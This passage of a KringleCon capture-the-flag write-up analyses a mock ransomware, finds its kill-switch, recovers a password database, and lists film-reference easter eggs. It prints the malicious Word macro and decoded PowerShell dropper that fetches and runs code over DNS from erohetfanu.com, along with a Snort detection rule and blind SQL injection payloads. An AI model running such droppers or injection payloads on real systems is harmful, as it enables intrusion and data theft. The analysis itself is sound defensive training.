alert udp 10.126.0.0/24 any <> any 53 (msg:"PS Ransomware"; pcre: "/77616E6E61636F6F6B69652E6D696E2E707331/"; sid:9999999;)

Once added to /etc/snort/rules/local.rules we get the flag.

Flag: Snort is alerting on all ransomware and only the ransonmware!

Part 2 — Identify the Domain

Objective 9.2 description

We get the.docm file that was sent by email to all the elves and that is suspected to contain the malware dropper (open it in a VM :). Let’s analyze it to get the domain name used by the malware. We can useoledump to extract the VB code:

// list available streams
$ python oledump/oledump.py CHOCOLATE_CHIP_COOKIE_RECIPE.docm
A: word/vbaProject.bin
A1: 468 ‘PROJECT’
A2: 95 ‘PROJECTwm’
A3: M 2251 ‘VBA/Module1’
A4: M 2400 ‘VBA/NewMacros’
A5: m 924 ‘VBA/ThisDocument’
A6: 2641 ‘VBA/_VBA_PROJECT’
A7: 620 ‘VBA/dir’
// view stream A3
$ python oledump/oledump.py -s A3 -v CHOCOLATE_CHIP_COOKIE_RECIPE.docm
Attribute VB_Name = "Module1"Private Sub Document_Open()Dim cmd As Stringcmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "Shell cmdEnd Sub

Part of the payload is compressed (zlib deflate) and Base64 encoded. We can decode and decompress it as follows:

$ echo “lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG” | base64 -D > data.bin$ printf "\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x00" | cat - data.bin | gzip -dcfunction H2A($a) {$o; $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; iex($(H2A $h | Out-string))

Note: the printf command adds the gzip header to the decoded data before decompression with gzip.

This is similar to the behavior observed in the first part:

  1. the client requests once the DNS TXT record on 77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu.com
  2. the server responds with an integer value X that is used by the client to do X DNS TXT requests to $i.77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu.com where $i goes from 0 to X.

The flag for this part is the domain name queried.

Flag: erohetfanu.com

Part 3 — Stop the Malware

Objective 9.3 description

We need to analyze the ransomware source code we saw in Part 1, find a kill-switch and activate it on HoHoHo Daddy.

As the domain names used for the DNS queries change randomly we cannot use them as a kill-switch (see Wannacry). We have to find something else.

We extract the full malware code for a given infected host from a PCAP of Part 1, with this one-liner:

$ tshark -r snort.log.1546257667.1233723.pcap -T fields -e dns.txt -Y “ip.dst == 10.126.0.205” | tr -d ‘\n’ | xxd -r -p | cut -c 2- > wannacookie.min.ps1

We can then use a code beautifier to indent the code for more readability. The full commented code can be found here.

The ransomware starts by doing 2 checks. If one of them fails, the ransomware stops its execution without doing any harm.

The first check tries to resolve a domain name (line 219). If it resolves, the execution is stopped. This kind of check on a dummy unresolvable domain name can be used to detect if the malware is run in a sandbox for analysis. This is our kill-switch!

The second check (line 225) passes only if the computer domain name is KRINGLECASTLE and if the computer does not listen on port 8080. This is to avoid re-infection as the ransomware spawns a web server on port 8080 the first time it infects the host.

wannacookie.min.ps1 — kill-switch

Let’s go back to the first check. The domain name is derivated from the variable $S1. It is first decompressed (we can recognize the GZIP header 0x1f8b080000000000) and then XOR’ed with a value retrieved from the ransomware server with another DNS TXT query. The Python code to retrieve the domain name is here. The output is:

[+] KILL SWITCH: yippeekiyaa.aaay

We can now register the domain on Ho Ho Ho Daddy website:

‘Ho Ho Ho Daddy’ terminal

Flag: Successfully registered yippeekiyaa.aaay!

Part 4 —Recover Alabaster’s Password

Objective 9.4 description

We are given a forensic artifacts archive that contains a dump of Alabaster’s powershell.exe process (minidump) as well as his encrypted database alabaster_passwords.elfdb.wannacookie. The goal is to find the password generated by the ransomware in memory to encrypt the file and use it to decrypt the database.

Let’s go back to the ransomware source code. The interesting pieces of code for the key generation and handling are the below ones:

wannacookie.min.ps1 — key generation & encryption
wannacookie.min.ps1 — key deletion

The ransomware retrieves the public key server.crt from its server (line 231) and uses it to encrypt a 16 bytes random key (line 239). The encrypted key is sent to the server to be stored as a string (line 241). Finally, the random key is deleted but the encrypted key stays in memory (line 249–250).

Note: the ransomware retrieves files from its server using the same mechanisms seen in Objective 9.2, using DNS TXT queries. The sub-domain to query is the filename (including extension) hex-encoded.

To help us find the encrypted key in memory, we need one more information: the length of the encrypted key string. This is defined by the size of the modulus of the public key that we can get from the ransomware server:

// add PEM markers before parsing
$ cat server.crt | sed '1s/^/-----BEGIN CERTIFICATE-----\'$'\n''/g' | sed '$s/$/\'$'\n''-----END CERTIFICATE-----/' | openssl x509 -text -noout
[...]
Public-Key: (2048 bit)
[...]

The modulus is 2048 bits, so is our encrypted key. 2048 bits = 256 bytes that when ‘stringified’ will be a 512 characters long hex string. Knowing that Windows stores values in memory using UTF-16 encoding we now have all the necessary information to search our encrypted key in memory:

// executed on Kali as strings on MacOS has no encoding (-e) flag :(
$ strings -eb powershell.exe_181109_104716.dmp | grep -E ‘^[a-fA-F0-9]{512}$’
3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971

Alternatively, we can use power_dump to analyze powershell.exe minidumps:

power_dump usage

Now that we have the encrypted key we need the private key to decrypt it. Fortunately, we can retrieve server.key as well from the ransomware server. We can decrypt our key as follows:

$ echo “3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971” | xxd -r -p | openssl rsautl -decrypt -inkey server.key -oaep | xxd -pfbcfc121915d99cc20a3d3d5d84f8308 <= 16 bytes plain key

Note: the -oaep flag is needed to decrypt because the key has been encrypted with the second argument of the PublicKey.Key.Encrypt method to true (line 151).

wannacookie.min.ps1 — public key encryption

The files are encrypted with AES 128 bits CBC and a suffix .wannacookie is added to the filename. The encrypted files are structured as follows:

IV length - 4 bytes
IV value - 16 bytes
Encrypted blocks - 16 bytes each
wannacookie.min.ps1 — file encryption function snippet

The Python code below is used to decrypt the file:

wannacookie_getfiles.py — AES decryption function

Once the database decrypted we can query it to retrieve the vault password:

$ file alabaster_passwords.elfdb             
alabaster_passwords.elfdb: SQLite 3.x database, last written using SQLite version 3015002
$ sqlite3 alabaster_passwords.elfdb
sqlite> .tables
passwords
sqlite> select * from passwords;
alabaster.snowball|CookiesR0cK!2!#|active directory
alabaster@kringlecastle.com|KeepYourEnemiesClose1425|www.toysrus.com
alabaster@kringlecastle.com|CookiesRLyfe!*26|netflix.com
alabaster.snowball|MoarCookiesPreeze1928|Barcode Scanner
alabaster.snowball|ED#ED#EED#EF#G#F#G#ABA#BA#B|vault
alabaster@kringlecastle.com|PetsEatCookiesTOo@813|neopets.com
alabaster@kringlecastle.com|YayImACoder1926|www.codecademy.com
alabaster@kringlecastle.com|Woootz4Cookies19273|www.4chan.org
alabaster@kringlecastle.com|ChristMasRox19283|www.reddit.com

Flag: ED#ED#EED#EF#G#F#G#ABA#BA#B

Note: The Python code to retrieve files from the ransomware server and decrypt files can be found here. These additional files can be downloaded from the server:

wannacookie.ps1, the ransomware source code not minified
source.min.html, the HTML page minified used by the local webserver
source.html, the HTML page used by the local webserver

source.min.html
Objective 10 description

[Objective 10 — Solution]

We need to access Santa’s vault, accessible from Santa’s secret room, to find out what is this all about! The door to Santa’s vault is protected by a Piano Lock.

Entering the password found in the previous objective ED#ED#EED#EF#G#F#G#ABA#BA#B we get the following message:

We remember the email sent by Holly to Alabaster in Objective 8:

Santa said you needed help understanding musical notes for accessing the vault. He said your favorite key was D. Anyways, the following attachment should give you all the information you need about transposing music.

We need to transpose the notes from an E key to a D key, which gives us: DC#DC#DDC#DEF#EF#EF#GAG#AG#A.

Flag: You have unlocked Santa's vault!

We unlock the last narrative:

Narrative 12/12

Epilogue

Santa’s Castle — Vault room

Santa finally reveals that he plotted the whole thing! He wanted to test and recruit the best hackers to help him defend the North Pole in the future. Hans (Gruber) and his fellow soldiers, that were elves in disguise, accepted to play the villains to help Santa in his difficult task:

Santa’s final revelation

This long journey ends with the following words from Santa:

Santa’s final treasure

Flag: Santa

The Google Ventilation

This is an optional challenge that can be found in the castle’s entrance hall.

‘Google Ventilation’ challenge location

When we complete Objective 4 and unzip the protected ZIP file, we get the plans of the ventilation maze 1F, 2F. Below, I have added in red the path to follow to get out of the maze:

ventilation_diagram_1F.jpg and ventilation_diagram_2F.jpg

Upon exiting the maze, we directly access Santa’s secret room, bypassing the Objective 6 challenge. This allows us to reach Objective 9’s terminals directly after Objective 4 completion.

Easter Eggs

You will find here the list of the Easter Eggs I could find throughout the KringleCon journey:

#1

The flag of Objective 2,John McClane, is the main protagonist of the Die Hard film series.

John McClane in ‘Die Hard’ © Twentieth Century Fox

#2

In Objective 3’s terminal challenge, the poem written by Morcel Nougat for Elinore is based on the poem The Raven from Edgar Allan Poe.

#3

In the terminal challenge of Objective 4, we can read thereport.txt where some of the reporters are Santa’s reindeers (the first 8 names):

Objective 4 — ~/report.txt

#4

In the Objective 4’s terminal challenge, the password used for the SMB connection directreindeerflatterystable is a reference to XKCD’s Password Strength comic:

source: https://xkcd.com/936/

#5

The Objective 4’s flag: Yippee-ki-yay is another reference to Die Hard:

Die Hard's Yippee-ki-yay compilation © Twentieth Century Fox

#6

In Objective 4’s GitLab repository, we can find an image of Hans here:

Hans drawing

#7

In Objective 5, the full name of the VM user is Kris Kringle, another name for Santa Claus…but that could as well refer to the main protagonist of Miracle on 34th Street.

Objective 5 — Slingshot VM user details

#8

In Objective 5, the VM hostname is plaza which could be related to the name of the building where Die Hard movie takes place: the Nakatomi Plaza.

#9

The password of the BloodHound database in Objective 5 is Myra and is found in clear-text in the config file:

Objective 5 — ~/.config/bloodhound/config.json snippet

Santa Claus originates from the historical figure of Saint Nicholas of Myra who was a 4th-century Greek Christian bishop of Myra (now Demre in Turkey).

#10

We have seen in Objective 6, that we can bypass an authentication with a basic SQL injection…easy. However, we have as well a nice blind boolean based SQLi that we can use to dump all the database data. To make it short, we can send queries to the backend server and it will reply if our query is true or false. We can, therefore, get the database name, tables name, columns name and columns data. For instance, to get the database name, we first need to find its length. We loop through the below payload until the servers responds true:

‘ or length(database())=1# -> false
‘ or length(database())=2# -> false
‘ or length(database())=3# -> false
[...]
‘ or length(database())=23# -> true

Then we get the name letter by letter by comparison, as follows:

# first letter
‘ or strcmp(substr(database(),1,1), ‘a’) = 0# -> false
‘ or strcmp(substr(database(),1,1), ‘b’) = 0# -> true
# second letter
‘ or strcmp(substr(database(),2,1), ‘a’) = 0# -> true
# third letter
‘ or strcmp(substr(database(),3,1), ‘a’) = 0# -> false
‘ or strcmp(substr(database(),3,1), ‘b’) = 0# -> false
‘ or strcmp(substr(database(),3,1), ‘c’) = 0# -> false
‘ or strcmp(substr(database(),3,1), ‘d’) = 0# -> true
etc...

When the server returns the message Authorized User Account Has Been Disabled! this means that our query is correct and returns true. Conversely, when the server returns the message No Authorized User Account Found! it means that our query is false. All the payloads need to be QR-Code’d and uploaded on the server.

The same goes for tables/columns names and data. The Python code to dump the database and all the payloads used can be found here. Patience is needed to get the full database :)

The database name is badge_scan_o_matic_4000 and contains only one table:

scanomatic_dumpDB.py output snippet

Note: I initially tried to use sqlmap to automatize the database dump. I created a qrcodeencode.py tamper script to encode the payload to a QR-Code. Unfortunately, I have not been able to make sqlmap POST a binary file. Whenever the payload is built, it is ‘stringified’. I re-used the content of the tamper script in my solution.

The only user who has an authorized and enabled access is theo. Theo is the terrorists’ computer hacker in Die Hard movie and his badge to access the secret room is here.

Theo in ‘Die Hard’ © Twentieth Century Fox

#11

The flag of Objective 7, Fancy Beaver, is a reference to the Russian cyber espionage group Fancy Bear.

#12

In Objective 7, the applicant who is part of a terrorist group is Krampus. Krampus is a central European folkloric figure that punishes children who have misbehaved during the Christmas season.

#13

In Objective 9.2, the domain name used by the ransomware is erohetfanu. It is the ROT13 of reburgsnah which is the reversed string of Hans Gruber who is the main villain in the movie Die Hard.

Hans Gruber in ‘Die Hard’ © Twentieth Century Fox

All the domain names observed in Objective 9.1 are anagrams of Hans Gruber.

#14

The Google Ventilation challenge could be a reference to Die Hard’s scene where John McClane tumbles down a ventilation shaft.

Die Hard — ventilation shaft © Twentieth Century Fox

#15

When loading the Google Ventilation challenge outside of a frame, the resourceid value used is inigomontoya:

Either this is the name of the Google developer or a reference to the fictional character of The Princess Bride novel and its movie adaptation.

Inigo Montoya in ‘The Princess Bride’ (source: GIPHY)

#16

When we log in from a different place without logging out first, we receive a DENNIS_NEDRY WebSocket type message:

DENNIS_NEDRY WebSocket type message

Dennis Nedry is a computer programmer at Jurassic Park in the homonymous movie.

Dennis Nedry in ‘Jurassic Park’ © Universal Pictures

#17

Whenever we log in or we reload the game, the following WebSocket messages are sent:

WAKE_UP_WERE_AT_GRANDMAS WebSocket type message

This was hard to find! The real quote is “Cal, honey, put your shoes on, we’re at Grandma’s” and is from the movie Mystery Science Theater 3000: The Movie :

Mystery Science Theater 3000: The Movie — watch at 4min09 © Universal Pictures

#18

Along with the previous WebSocket message, we get as well this one:

WS_OHHIMARK WebSocket type message

‘Oh Hi Mark’ is a quote of a movie called The Room, apparently the best (or worst) movie ever, I will let you judge :)

‘The Room’ — ‘Oh Hi Mark’ scene © Chloe Productions

#19

After all the references to Die Hard, I had to watch it again and I found out that the flag of Objective 1, Happy trails, is what John McClane says to Hans Gruber right before he kills him. The full quote is: Happy Trails, Hans!

Die Hard — Hans Gruber death © Twentieth Century Fox

#20

Most of Hans script (in Santa’s Castle) are direct quotes from Hans Gruber (in Die Hard):

Hans: Due to the North Pole’s legacy of providing coal as presents around the globe ... they are about to be taught a lesson in the real use of POWER. You will be witnesses.
Hans Gruber: Due to the Nakatomi Corporation's legacy of greed around the globe, they are about to be taught a lesson in the real use of power. You will be witnesses.
Hans: Now, Santa… that's a nice suit… John Philips, North Pole. I have two myself. Rumor has it Alabaster buys his there.
Hans Gruber: Nice suit. John Phillips, London. I have two myself. Rumor has it Arafat buys his there.
Hans: The following people are to be released from their captors. In the Dungeon for Errant Reindeer, the seven members of the New Arietes Front. In Whoville Prison, the imprisoned leader of ATNAS Corporation, Miss Cindy Lou Who. In the Land of Oz, Glinda the Good Witch.
Hans Gruber: The following people are to be released from their captors: In Northern Ireland, the seven members of the New Provo Front. In Canada, the five imprisoned leaders of Liberte de Quebec. In Sri Lanka, the nine members of the Asian Dawn movement...
Hans: You think that after all my posturing, all my little speeches, that I’m nothing but a common thief. But, I tell you -- I am an exceptional thief. And since I've moved up to kidnapping all of you, you should be more polite!
Holly Gennero McClane: After all your posturing, all your little speeches, you're nothing but a common thief.
Hans Gruber: I am an exceptional thief, Mrs. McClane. And since I'm moving up to kidnapping, you should be more polite.
Hans: When you steal six hundred dollars, you can disappear. When you steal all of Santa’s treasure, they will find you… unless…(muffled yelling)
Hans Gruber: Well, when you steal $600, you can just disappear. When you steal 600 million, they will find you, unless they think you're already dead.

Moreover, we can read in one of the narratives:

Suddenly, one of the toy soldiers appears wearing a grey sweatshirt that has written on it in red pen, “NOW I HAVE A ZERO-DAY. HO-HO-HO.”

This refers to the scene in Die Hard where Tony Vreski, one of the villains, is found dead in the elevator:

Die Hard — Tony Vreski death © Twentieth Century Fox

#21

When browsing the Docker server’s URL we get the following Santa’s ASCII art:

http://www.afn.org/~afn39695/tiziana.htm

THE END…

It was fun, see you next year!

KringleCon family picture

--

--

noobintheshell

Cyber Security Professional and CTFer from Switzerland.